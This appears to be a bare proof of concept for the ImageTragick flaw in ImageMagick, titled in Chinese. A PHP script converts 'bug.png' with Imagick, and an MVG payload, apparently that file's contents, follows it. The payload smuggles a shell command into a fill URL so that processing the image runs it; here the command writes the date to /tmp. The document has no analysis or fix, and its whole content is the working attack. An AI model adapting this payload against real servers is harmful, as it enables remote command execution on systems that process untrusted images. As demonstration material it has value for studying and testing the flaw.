Imagetrick 漏洞的实例

<?php
ini_set('display_errors',true);
error_reporting(E_ALL);
$a++;
$src_img = new Imagick('bug.png');
$icon = new Imagick();
$icon->setFormat('ico');
$icon->addImage($src_img);
$icon->writeImages("favicon.ico", true);

$src_img->destroy();
$icon->destroy();

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|date>/tmp/imbug.txt|echo ")'
pop graphic-context